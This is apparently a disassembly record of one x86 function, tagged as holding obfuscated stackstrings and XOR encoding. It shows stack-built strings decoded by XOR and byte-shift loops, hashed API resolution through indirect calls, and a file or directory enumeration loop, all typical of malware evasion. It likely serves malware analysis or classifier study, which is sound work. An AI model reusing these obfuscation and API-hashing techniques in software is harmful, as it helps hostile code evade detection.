Function at 0x410104
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x4fc
push ebx
push ebp
push esi
push edi
push 0x1000
mov dword [esp + 0x68], edx
mov ebp, ecx
call fcn.0040570b
pop ecx
push dword [esp + 0x514]
mov esi, eax
call fcn.0040702c
mov ebx, eax
mov dword [esp + 0x6c], ebx
pop ecx
test esi, esi
je 0x4103a0
push 0x7c
pop eax
mov word [esp + 0x34], ax
xor eax, eax
and dword [esp + 0x60], eax
mov word [esp + 0x36], ax
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x38]
push eax
push ebx
call fcn.004057dc
add esp, 0xc
test eax, eax
je 0x410399
mov ebx, dword [esp + 0x64]
mov dword [esp + 0x14], 0xc5eaf5bc
xor ecx, ecx
mov dword [esp + 0x18], 0xf8faf6d5
mov dword [esp + 0x1c], 0xe1dcb9f5
mov dword [esp + 0x20], 0xeaf7fced
mov dword [esp + 0x24], 0xb9f7f6f0
mov dword [esp + 0x28], 0xededfcca
mov dword [esp + 0x2c], 0xeafef7f0
mov dword [esp + 0x30], 0xeaf5bcc5
movq xmm1, qword [esp + ecx + 0x14]
movq xmm0, qword [0x421040]
pxor xmm1, xmm0
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
movups xmmword [esp + ecx*2 + 0xc0], xmm1
add ecx, 8
cmp ecx, 0x20
jl 0x4101b0
xor ecx, ecx
mov edx, 0xf89245cb
push eax
lea eax, [esp + 0x10c]
mov word [esp + 0x104], cx
push eax
inc ecx
call fcn.00412ca7
call eax
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x38]
push eax
push 0
call fcn.004057dc
add esp, 0xc
mov edi, eax
lea eax, [esp + 0xc0]
mov edx, 0xe3740fb6
xor ecx, ecx
push edi
push ebx
push eax
push 0x800
push esi
call fcn.00412ca7
call eax
add esp, 0x14
xor ecx, ecx
mov edx, 0xeeb55893
inc ecx
push esi
call fcn.00412ca7
call eax
cmp eax, 0xffffffff
je 0x410379
test al, 0x10
je 0x410379
push 0x7c
pop eax
mov word [esp + 0x38], 0x7754
xor ecx, ecx
mov byte [esp + 0x3a], al
mov dword [esp + 0x3b], 0x76712e72
mov dword [esp + 0x3f], 0x777b7d80
mov dword [esp + 0x43], 0x732e7b83
mov word [esp + 0x47], 0x8286
mov byte [esp + 0x49], 0x73
mov byte [esp + 0x4a], al
mov word [esp + 0x4b], 0x7781
mov byte [esp + 0x4d], 0x7d
mov byte [esp + 0x4e], al
mov dword [esp + 0x4f], 0x817a332e
mov dword [esp + 0x53], 0x8277852e
mov dword [esp + 0x57], 0x72772e76
mov dword [esp + 0x5b], 0x817a332e
mov byte [esp + 0x5f], 0x18
mov al, byte [esp + ecx + 0x38]
sub al, 0xe
mov byte [esp + ecx + 0x94], al
inc ecx
cmp ecx, 0x28
jl 0x4102be
mov byte [esp + 0xbc], 0
xor ecx, ecx
mov dword [esp + 0x14], 0x707fcf2
mov dword [esp + 0x18], 0xca0e0f00
mov dword [esp + 0x1c], 0xfa0e07c0
mov dword [esp + 0x20], 0xfa0e07c0
mov word [esp + 0x24], 0x7c0
mov byte [esp + 0x26], 0xe
movzx eax, byte [esp + ecx + 0x14]
mov edx, 0xff
add ax, 0x65
and ax, dx
mov word [esp + ecx*2 + 0x6c], ax
inc ecx
cmp ecx, 0x13
jl 0x410307
xor eax, eax
mov word [esp + 0x92], ax
lea eax, [esp + 0x108]
push edi
push eax
lea eax, [esp + 0x9c]
push eax
call fcn.004125f4
add esp, 0xc
lea eax, [esp + 0x108]
push dword [esp + 0x510]
push ebp
push eax
lea eax, [esp + 0x78]
push eax
call fcn.0041b73b
mov edi, eax
add esp, 0x10
test edi, edi
je 0x410379
mov edx, edi
mov ecx, esi
call fcn.00418967
push edi
call fcn.004056f0
pop ecx
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x38]
push eax
push 0
call fcn.004057dc
add esp, 0xc
test eax, eax
jne 0x41016e
mov ebx, dword [esp + 0x68]
push esi
call fcn.004056f0
pop ecx
push ebx
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4fc
ret